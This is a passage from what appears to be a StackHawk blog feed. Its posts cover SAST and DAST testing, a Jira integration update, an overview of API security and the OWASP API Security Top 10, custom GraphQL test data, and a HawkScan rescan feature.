aware so that they can remedy the security defect.&lt;/p&gt;&lt;p&gt;SAST tool scans static code of an application before the code is compiled. This also means that source code can be scanned even if it is not in a runnable state, meaning that a SAST solution can be implemented before the first line of code is committed. By doing this, any potential vulnerability that is introduced can be found immediately, versus being detected only once the code is in a runnable state.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;When to use SAST?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Like DAST, SAST tools should also be used very early in the development process. Once you find a SAST tool that supports the language you are coding in, it can be moved into the development process. If a project involves writing code, a SAST tool is highly recommended to detect security vulnerabilities at the moment of inception.&lt;/p&gt;&lt;h2&gt;Benefits of Combining SAST and DAST&lt;/h2&gt;&lt;p&gt;Although SAST and DAST represent two different testing methodologies, combining SAST and DAST offers several significant benefits:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Security Testing&lt;/b&gt;: SAST and DAST together can identify a wide range of security vulnerabilities, including those that may not be detectable by one approach alone. This dual approach ensures thorough coverage of both static code and runtime behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Detection&lt;/b&gt;: SAST helps identify security vulnerabilities early in the development process, allowing developers to address issues before they become ingrained in the codebase. DAST, on the other hand, identifies vulnerabilities in running applications, providing a real-world perspective on security flaws that can actually be exploited.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Security Posture&lt;/b&gt;: By leveraging both SAST and DAST as well as other security testing methods, organizations can enhance their overall security posture beyond using just a single tool or method. Overall, this helps with reducing the risk of security breaches and ensuring holistic protection against potential threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cost Savings&lt;/b&gt;: Identifying and fixing security vulnerabilities early in the development process can save organizations significant time and money. Early detection means fewer costly fixes and less disruption to the development lifecycle. By using both SAST and DAST together, you can detect vulnerabilities early and also understand which ones can actually be exploited, avoiding fixing defects which are false positives.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Choosing the Right Tools&lt;/h2&gt;&lt;p&gt;Selecting the right SAST and DAST tools is essential for rounding out your application security testing stack. Here are some key factors to consider when looking at both types of tools:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Accuracy&lt;/b&gt;: Look for tools that can accurately identify security vulnerabilities with minimal false positives. Accurate tools help streamline the remediation process and ensure that critical issues are addressed promptly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Coverage&lt;/b&gt;: Choose tools that support a wide range of programming languages and technologies. Comprehensive coverage ensures that all aspects of your application are tested for potential security weaknesses.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration&lt;/b&gt;: Consider tools that can seamlessly integrate with your existing development tools and workflows. Integration with CI/CD pipelines, version control, and other development tools within your developer workflow can help streamline the testing process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scalability&lt;/b&gt;: Select tools that can scale to meet the needs of your applications. While some tools may run well on smaller projects, testing with them at scale may not be as efficient. Scalable tools ensure that your security testing can grow with your application and support the technologies you plan to scale with.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Best Practices for SAST and DAST&lt;/h2&gt;&lt;p&gt;Although you can just take any set of tools and toss them into the mix for developers to use, it&amp;#39;s still best to have some sort of plan and method to the madness. When it comes to implementing SAST and DAST effectively, remember to follow these best practices:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrate SAST and DAST into the Development Process&lt;/b&gt;: SAST and DAST should be integrated into the development process to ensure that security vulnerabilities are identified and fixed early. This integration, often referred to as “shifting left,” helps catch issues before they become critical. Developers working on the code should feel empowered to use the tools and also be held accountable to ensure their usage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Running SAST and DAST Regularly&lt;/b&gt;: Regular testing is essential to maintain a secure codebase. SAST and DAST should be run frequently to identify and address security vulnerabilities in a timely manner. One of the best ways to do this is to run these testing tools within CI/CD pipelines when a build is kicked off, as part of a pre-commit hook, or an automated pull request policy/branch protection rule.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Correlating Results&lt;/b&gt;: Don&amp;#39;t use the results from each tool independently, instead try correlating the results of SAST and DAST tests to help identify potential security vulnerabilities more effectively. By combining insights from both tools, organizations can gain a better understanding of their security posture and more effectively triage any issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Implementing SAST and DAST Effectively&lt;/h3&gt;&lt;p&gt;Beyond best practices, there are also some pointers to look at for effective implementation of SAST and DAST. A Successful integration of these technologies requires a combination of people, process, and technology. With this in mind, organizations should:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Develop a Comprehensive Security Testing Strategy&lt;/b&gt;: A well-defined strategy that includes both SAST and DAST is essential. This strategy should outline the goals, processes, and &lt;a href=&quot;https://www.stackhawk.com/blog/essential-cybersecurity-tool-breakdown-2024/&quot;&gt;tools for security&lt;/a&gt; testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Train &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/developer-centric-application-security/&quot;&gt;&lt;b&gt;Developers and Security&lt;/b&gt;&lt;/a&gt;&lt;b&gt; Teams&lt;/b&gt;: Training is crucial to ensure that developers and security teams are proficient in using SAST and DAST tools and techniques. Regular training sessions can keep teams updated on the latest security practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrate SAST and DAST into the Development Process and Workflows&lt;/b&gt;: Seamless integration of SAST and DAST into the development process ensures that security testing becomes a natural part of the development lifecycle. This integration helps catch vulnerabilities early and reduces the risk of security breaches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuously Monitor Applications for Security Vulnerabilities&lt;/b&gt;: Once you&amp;#39;ve got everyone trained and your testing tools running, continuous monitoring is the next essential step in maintaining a &lt;a href=&quot;https://www.stackhawk.com/solutions/getting-started-with-appsec/&quot;&gt;secure application&lt;/a&gt;. Regular scans and real-time monitoring can help identify and fix vulnerabilities promptly, ensuring ongoing security.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these best practices and the considerations for implementing SAST and DAST effectively, organizations can significantly enhance their application security and protect against potential threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Wrapping up&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Identifying any major or minor security flaw early on in the SDLC is the most efficient and scalable way to increase application security. With the abundance of tools available, adding SAST and DAST tools to your application&amp;#39;s security arsenal is a great option. Even better, adding these tools to your organization&amp;#39;s SDLC has never been easier, with many even offering deep customization and direct integration with CI/CD pipelines. As you can see, it&amp;#39;s not so much about “SAST vs DAST” but ideally about how to layer the various tools together. Using these platforms is the best way to actively prevent and monitor many of the vulnerabilities and attacks outlined in the &lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt;OWASP Top&lt;/a&gt; Ten. Keeping your applications secure requires multiple angles of prevention and monitoring to ensure a holistic approach to application security.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; offers a best-in-class DAST tool that is easy to configure and developer-friendly. The platform offers blazingly fast scans right in your CI/CD workflow, and an easy-to-understand report helps developers identify and remedy any security vulnerability that is discovered. To make things even easier, StackHawk easily integrates with Snyk, a popular SAST tool, to offer the best of both worlds by combining results between the two platforms. Ready to up your application security testing game? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for StackHawk today to get started!&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Improvements to the StackHawk Jira Cloud Integration]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/improvements-to-the-stackhawk-jira-cloud-integration</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Sam Volin]]></dc:creator><content:encoded>&lt;p&gt;StackHawk has recently made a few improvements to our Jira Cloud Integration.&lt;/p&gt;&lt;p&gt;Atlassian Jira is the premier software planning and project tracking software. &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104?tab=overview&amp;hosting=cloud&quot;&gt;&lt;u&gt;The StackHawk Jira Cloud integration&lt;/u&gt;&lt;/a&gt; helps teams identify and track HawkScan findings within your Atlassian Jira workspace.&lt;/p&gt;&lt;h2&gt;Tracking security with Project Management tools&lt;/h2&gt;&lt;p&gt;A Jira workspace can have many projects and each project includes Issues, each created with a specific Issue Type. The most common Jira Issue Types used are &amp;quot;bug&amp;quot;, &amp;quot;story&amp;quot;, or &amp;quot;task&amp;quot;. Previously, the StackHawk Jira integration would only create &amp;quot;bug&amp;quot; issues, and so that issue type was required in a Jira project to use the integration.&lt;/p&gt;&lt;p&gt;No longer! StackHawk findings can now be triaged into any Jira issue type that belongs to a project. This update means security teams tracking findings in Jira projects can use any issue type in any project they desire, even if it’s not a “bug”. This flexibility gives teams the ability to track software defects in development, instead of separating StackHawk “security” findings from normal software development workflows.&lt;/p&gt;&lt;p&gt;After installing the Jira integration, teams can now select a specific project and issue type pair they want to have preselected as the default when promoting a StackHawk finding into a Jira issue from the StackHawk platform.&lt;/p&gt;&lt;h2&gt;Tracking security findings with StackHawk&lt;/h2&gt;&lt;p&gt;StackHawk findings can be “promoted” to a ticket engine, including Jira Cloud. After scanning an application for vulnerabilities, Application Paths in the findings can be added and tracked on a Jira ticket.&lt;/p&gt;&lt;p&gt;
Jira project management is extremely flexible, allowing teams to design process workflows and coordinate shared work.&lt;/p&gt;&lt;p&gt;For software development teams, maintaining a strong security posture can include a regular team review of defect tracking and tracing tools, such as StackHawk, Snyk or Sentry, and assigning and prioritizing work into tickets on Jira Cloud, or any preferred project management system.&lt;/p&gt;&lt;p&gt;The StackHawk for Jira Cloud integration will help any software development team to build quality software with a strong security posture. How teams plan software development alongside security posture is a blog post for another time. But indeed, by regularly measuring and triaging events from security and code quality tools and bringing a discipline of shared quality and project organization, teams can ship secure software with confidence.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Sam Volin is a FullStack Software Engineer at StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Want to learn more? Check out the resources below:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104/stackhawk-for-jira&quot;&gt;&lt;u&gt;StackHawk Addon Jira Marketplace&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira.html&quot;&gt;&lt;u&gt;StackHawk Jira Integration Documentation&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is API Security?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-api-security</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;APIs are the new frontier of security. The bulk of web traffic is now going to and from APIs. Of course, some APIs are built extremely securely while others have no security implementation at all. API security has long been a blindspot for many developers and organizations and this is beginning to catch up with those who have foregone proper security measures. Many developers have just simply not protected their APIs against the possibility of an API attack.&lt;/p&gt;&lt;p&gt;API security is complex because there are both proactive and reactive ways to handle it. Many companies have hopped on board with the reactive approach to monitoring APIs and dealing with any issues as they happen or after they do. Less have adopted the idea of moving API security earlier in the SDLC to tackle things more proactively.&lt;/p&gt;&lt;p&gt;Let’s dig into the different aspects of API security including what it is, why it is important, and some helpful tips on how to improve your organization’s API security protocols.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is making sure that APIs are built with security best practices in mind and that deployed APIs require authentication and authorization for access. Sounds quite simple but API security becomes very complex, very quickly. There are many angles from which API security can be interpreted.&lt;/p&gt;&lt;p&gt;In the design and build phase, API security means using secure coding best practices. This means writing code that does not expose or create a vulnerability. It also means being careful that third-party dependencies don’t have vulnerabilities built in that you could be unintentionally adding to your code. Creating security gaps in your application code is extremely preventable. There are many tools available to help identify and remedy them before you hit production. In the later stages of the build phase, manual and automated testing should also be performed to identify vulnerabilities potentially missed in the earlier stages. Of course, we at StackHawk suggest also adding automated testing for each code commit by adding testing directly to your CI/CD build process.&lt;/p&gt;&lt;p&gt;Once built, your API will be deployed generally into different environments as it moves into production. Depending on the organization, you may see something similar to development, QA, pre-production, and finally the production environment. It is highly recommended that you implement some type of API management solution to help manage your APIs as they move through each environment. API management solutions can help with security in terms of enforcing rate limiting and quotas, keeping track of API users, enforcing authentication and authorization, and much more. API management also allows you to see your entire catalog of APIs and to easily apply uniform security to all through a single platform. API management allows for a “single pane of glass” approach to monitoring and securing your APIs.&lt;/p&gt;&lt;p&gt;Once the APIs have been built and deployed to production, ongoing API security monitoring is recommended. Much of the time, the API security monitoring product can be connected to your API gateway so that your API analytics can be used to monitor for anomalies. API security monitoring can detect possible malicious activity and security issues within the API traffic. If an issue is detected, the tool will then raise an alert so that teams are notified and can contain and minimize the impact.&lt;/p&gt;&lt;p&gt;Ongoing improvement to API security should be at the forefront of all development efforts. A great way to ensure that your APIs are secure is to monitor for issues outlined in the OWASP API Security Top 10. Let’s take a look at that next!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What are the OWASP API Security Top 10?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Open Web Application Security Project (OWASP) is a non-profit, collaborative online community that informs and educates about various security issues within web applications. They are the community behind the OWASP Top 10. Starting in 2003, OWASP has been publishing an authoritative list of the most prevalent vulnerabilities and ways to mitigate them. With the rise in the popularity of APIs, OWASP began producing a more targeted list of vulnerabilities plaguing APIs and how to avoid them. This culminated in the release of the first OWASP API Security Top 10 list in 2019.&lt;/p&gt;&lt;p&gt;Let’s look at each of the vulnerabilities and a brief summary straight from the &lt;a href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;&lt;u&gt;OWASP API Security Top Ten&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken object-level authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface Level Access Control issue. Object-level authorization checks should be considered in every function that accesses a data source using input from the user.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other users’ identities temporarily or permanently. Compromising a system’s ability to identify the client/user, compromises API security overall.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Excessive data exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Looking forward to generic implementations, developers tend to expose all object properties without considering their individual sensitivity, relying on clients to perform the data filtering before displaying it to the user.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of resources and rate limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Quite often, APIs do not impose any restrictions on the size or number of resources that can be requested by the client/user. Not only can this impact the API server performance, leading to Denial of Service (DoS), but also leaves the door open to authentication flaws such as brute force.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken function level authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers gain access to other users’ resources and/or administrative functions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mass assignment&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Binding client-provided data (e.g., JSON) to data models, without proper properties filtering based on an allowlist, usually leads to Mass Assignment. Either guessing objects properties, exploring other API endpoints, reading the documentation, or providing additional object properties in API request payloads, allows attackers to modify object properties they are not supposed to.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security misconfiguration is commonly a result of insecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection flaws, such as SQL, NoSQL, Command Injection, etc., occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s malicious data can trick the interpreter into executing unintended commands or accessing data without proper authorization.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improper assets management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. Proper hosts and deployed API versions inventory also play an important role to mitigate issues such as deprecated API versions and exposed debug endpoints.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insufficient logging and monitoring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, and pivot to more systems to tamper with, extract, or destroy data. Most breach studies demonstrate the time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why is API security important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is important because APIs are the driving force of much of the functionality and revenue generated by modern businesses. By letting API security go without attention, you could be inviting massive vulnerabilities and breaches into view that can be easily mitigated.&lt;/p&gt;&lt;p&gt;With the rise in API usage and our dependence on APIs, deploying unsecured APIs or building APIs in an unsecure manner is putting your business at a massive risk. Vulnerable APIs can leak sensitive data, allow for DDoS attacks to occur, and allow for API abuse. If an API attack were to occur, it could heavily affect the trust in your organization and massively tarnish your reputation. On top of this, there may be legal ramifications to any breach that happens from a lack of implementing the proper security measures for your APIs. API security is an important part of a sustainable business and should be one of the highest priorities, especially for those businesses that have public APIs that are easily accessed.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to secure your APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing APIs takes many different forms. The angles to cover API security include when the API is designed and built through to when they are live in production. Many different tools can be used for this including using static code analysis dynamic application security testing tools, fuzzing, active API security monitoring, and even manual testing methods. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Building secure APIs early in the SDLC&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Early in the software development lifecycle, automated security testing can be implemented and put on autopilot. There’s also an opportunity at the start of a project or with the addition of any new code to ensure that secure coding practices are put in place.&lt;/p&gt;&lt;p&gt;Secure coding practices include making sure that all input is validated, authentication and password management is put in place, session management is implemented and enforced, and error handling and logging best practices are followed. There are many other factors that also can be looked at to ensure code is being built and deployed securely. Making sure that these standards are enforced against any new code written can help stop vulnerabilities at the source. Keeping developers aware of these practices from the start also leads to less refactoring later if vulnerabilities are found by other tools.&lt;/p&gt;&lt;p&gt;One example to dig into is error handling and logging. Developers should not disclose important details that could be used to create an exploit more easily through the error handling and subsequent logging implemented in their code. This includes allowing errors to display system details, session identifiers or account information. You’ll also want to ensure that developers are not printing out debugging or stack trace information which can be viewed publicly. By setting these expectations and rules with developers, everyone who is contributing code will do so in a more security-conscious fashion.&lt;/p&gt;&lt;p&gt;API security also involves making sure that the infrastructure behind the APIs is secure. This means making sure that servers and databases are hardened and require strict access control for those who do have access. Another factor is making sure that all infrastructure is running the latest security patches and recommended operating systems. On top of securely built code, making sure that your infrastructure is secure reduces the possibility of exploits.&lt;/p&gt;&lt;p&gt;Of course, it makes sense to also include automation in your efforts early on as well. This will likely include a SAST and a DAST tool to scan and make your team aware of potential vulnerabilities.&lt;/p&gt;&lt;p&gt;Static application security testing (SAST) is a white-box testing methodology. A SAST tool scans your source code and related dependencies, the frameworks and libraries your application uses. During the scan, the tool refers to a predefined set of rules to detect issues and vulnerabilities, marking their exact location.&lt;/p&gt;&lt;p&gt;Dynamic security testing (DAST) uses a black-box approach that assumes no knowledge of the inner workings of the software being tested. This means that the DAST tests only use the available inputs and outputs for the system or API. DAST tests are dynamic since the number of inputs and outputs increases and decreases, and the data they consume or release continuously changes. &lt;/p&gt;&lt;p&gt;The main difference between DAST and SAST is in how they approach security testing. SAST scans the application code at rest and can be done at any point, even if the code is not ready to run. These scans discover faulty code which could be exploited. DAST tests the running application and has no access to its source code meaning that the application must be built and deployed. The DAST scans generally tend to bring back fewer false positives than SAST. This is because the existence of an exploit can be confirmed to exist more accurately versus generic pattern matching of static code analysis. Combining both SAST and DAST testing tools can be a great way to ensure a high likelihood of catching any security flaws before they reach production.&lt;/p&gt;&lt;p&gt;This should set most organizations up with a very robust security framework to make sure code is being generated in a secure fashion and tested robustly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing before production&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As code moves through your company&amp;#39;s SDLC and processes, it will likely reach more than a single environment before getting pushed into production. It is a good practice to also test once the code leaves the development environment. In the QA or testing environments, manual API testing can help to uncover bugs that may not have been revealed by automation. It’s also a good practice for vulnerability fixes to be retested at this stage to ensure that any potential exploits are unable to occur in production. &lt;/p&gt;&lt;p&gt;As vulnerabilities are discovered in higher environments, code should be moved back through dev to ensure that the automated tests have a chance to discover any additional bugs introduced by fixes. If this is not possible, it would be recommended that all automation implemented in the lower environments be moved into each environment where code fixes are applied and tested. Following these practices should lead to good code quality and a reliable production deployment without any major security vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Monitoring APIs in production&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, once the code hits production you’ll want to implement robust monitoring practices. As secure as the code should be, it’s always best to have some type of monitoring to alert your organization of potential attacks and threats. By implementing real-time security monitoring, you can be assured that any runtime exploits that are occurring will be detected and your team will be notified immediately.&lt;/p&gt;&lt;p&gt;Working with your security team and using the tips above can help to create a highly secure API development and deployment framework. All aspects from development to the running production code are important and should not be understated. Many tools exist to easily implement the security practices mentioned above. Adding these tools can help to reduce development timelines and make for an easy-to-manage security standard throughout the SDLC. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk for API security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned above, DAST tools can be a major help when trying to uncover vulnerabilities in running code and APIs. With StackHawk you get a best-in-class DAST solution which brings automation, easy configurability, and robust testing to your code. With StackHawk, creating your API security testing configuration can be done in many different ways. One way is to run a scan to crawl your application and identify endpoints, although this can be rather inconsistent and miss API endpoints. For more complete and explicit testing, you can use an OpenAPI spec to define all endpoints as well as the expected input and output of your APIs. StackHawk also allows you to test API authorization and authentication to ensure sensitive data is protected and access control is working as anticipated.&lt;/p&gt;&lt;p&gt;On top of RESTful API support, StackHawk also supports GraphQL APIs, through the use of an introspection endpoint, and SOAP APIs, by uploading a WSDL to identify services. You can also use a Postman Collection to identify endpoints and add them to your security scan. Going beyond traditional API security testing tools, StackHawk allows you to support your legacy APIs and technologies as well as the latest and greatest.&lt;/p&gt;&lt;p&gt;To get started with API security testing and StackHawk, your first need to &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a StackHawk account&lt;/u&gt;&lt;/a&gt;. After you have signed up, you’ll simply need to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Add the StackHawk config file to your project’s repo. The config file will link out to OpenAPI Spec, GraphQL introspection endpoint, Postman collection, or any other inputs used to inform the scan of your available endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add the StackHawk scan to your setup. This can be done via the StackHawk docker container or StackHawk CLI tool. This can be added directly to your CI/CD pipeline to enable testing directly within your GitOps flow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;From here, you can start catching API security issues as they are introduced into the codebase.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once these steps are complete, you’ll have a robust DAST tool added to your organization&amp;#39;s security toolbelt. Combining StackHawk with a SAST solution, like &lt;a href=&quot;https://snyk.io/&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt;, and an API security monitoring tool, you can be sure that you are building, deploying, and running your APIs in a secure fashion.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Wrapping up&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this article, we chatted about all things API security. We touched on what it is, the top vulnerabilities to look out for, and a few ways to create a robust API security framework. Although never easy, API security is seeing a massive shift in accessibility and availability. One such tool helping to put better API security in the hands of developers and reduce security risk is StackHawk. StackHawk’s DAST platform is helping organizations to build better and more secure APIs earlier in the development lifecycle. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up&lt;/u&gt;&lt;/a&gt; today to get started with the only DAST and API security testing tool that runs in CI/CD, enabling developers to quickly fix security issues before they hit production.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Custom Test Data for GraphQL APIs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/custom-test-data-for-graphql-apis</guid><category><![CDATA[GraphQL Security]]></category><dc:creator><![CDATA[Austin Pearigen]]></dc:creator><content:encoded>&lt;h2&gt;Why is this new feature important? &lt;/h2&gt;&lt;p&gt;The parameters defined in a GraphQL API are meant to represent real data, in other words, actual usernames, asset IDs, query strings, and so on. Using genuine data for these parameters triggers authentic logic from your application and activates more branches of your code.&lt;/p&gt;&lt;p&gt;For instance, for a password update mutation in a GraphQL API, if a username or ID is provided that does not exist within the context of the application, a simple 404 is returned on the resource lookup, and none of the actual password reset code is invoked. However, if the resource can be found, all of the password reset code is exercised with the parameters provided.&lt;/p&gt;&lt;p&gt;This scenario illustrates how Hawkscan’s new feature, ‘Custom Test Data for GraphQL APIs’, enables deeper security testing of GraphQL APIs.! Using this new feature, users can configure lists of values they want to use in a scan for each defined parameter and one of the values will be chosen randomly for each path that parameter belongs to. &lt;/p&gt;&lt;h2&gt;How is this new feature configured?&lt;/h2&gt;&lt;p&gt;To supply custom values for a GraphQL API’s parameters, you need to update your `stackhawk.yml` file. Under the `app.graphqlConf` section, a new array field called “customVariables” is available, which represents a list of fields and corresponding lists of values for each key. The key represents the parameter in your GraphQL schema, and HawkScan uses the list of values to choose one on the fly when scanning a GraphQL API. &lt;/p&gt;&lt;h2&gt;I don’t want to supply my own data, but I do want more realistic values.&lt;/h2&gt;&lt;p&gt;Sometimes existing data isn’t always necessary and properly formatted values will still be more effective than generic default values. Leveraging the &lt;a href=&quot;https://fakerjs.dev/&quot;&gt;&lt;u&gt;Faker library&lt;/u&gt;&lt;/a&gt;, HawkScan can now generate authentic data for a GraphQL API with a little configuration.&lt;/p&gt;&lt;p&gt;For instance, if a request has a phone number as one of its parameters where the type is a string and the format is phone, an actual phone number can be generated rather than a default value string that has no relation to a phone number. To use these faker values, the `fakerEnabled` parameter in the graphqlConf section of the `stackhawk.yml` file should be set to `true`. When enabled, HawkScan generates a realistic value for any parameters that are supplied in the `customVariables` section and have a provided value with the prefix `$faker:` followed by the desired format. For example, to generate an email address for a parameter, a single value should be provided “$faker:email”. Faker prefixed formats can be supplied with other custom variables, or as a singleton list to guarantee a Faker value is generated. A complete list of the available formats is available (&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#generating-smart-values-for-parameters&quot;&gt;&lt;u&gt;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#generating-smart-values-for-parameters&lt;/u&gt;&lt;/a&gt;)[in our documentation] (Need to put this list in a better, more commonplace in the docs for gql to share as well.)&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/z60qvjyvm3?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hawk ReScan: How to Validate Fixes in a Fraction of Time]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/hawk-rescan-how-to-validate-fixes-in-a-fraction-of-time</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Dana White]]></dc:creator><content:encoded>&lt;p&gt;HawkScan provides the information and tools you need to fix security vulnerabilities in your applications.  But how do you know if you’ve fixed a vulnerability for certain?  For instance, if you’ve incorporated HawkScan into your CI/CD pipeline, you can make a fix, commit it, open a PR, and hope that your fix passes the next test.  But that scenario is time-consuming, requiring you to wait for a full build process and a full HawkScan to run.&lt;/p&gt;&lt;p&gt;With HawkScan 2.9, you now have the ability to Rescan Findings. Rescan only runs the plugins that were alerted on in your previous scan, allowing you to quickly iterate on vulnerability fixes before pushing code to your remote repository.&lt;/p&gt;&lt;h2&gt;The Scenario&lt;/h2&gt;&lt;p&gt;A new feature’s code is merged, introducing a vulnerability into your application’s code base. HawkScan reports the vulnerability as a new finding, shows you the affected paths, and provides you with feedback on how to fix it.&lt;/p&gt;&lt;p&gt;Great!  Now you know how to fix it.  So let&amp;#39;s say, you do a quick fix and push it up to your CI platform of choice.  However, it fails again.  Instead of doing a full push into your CI/CD pipeline and waiting for an entire build process and scan to run, you can run a local scan on only the alerts that were previously 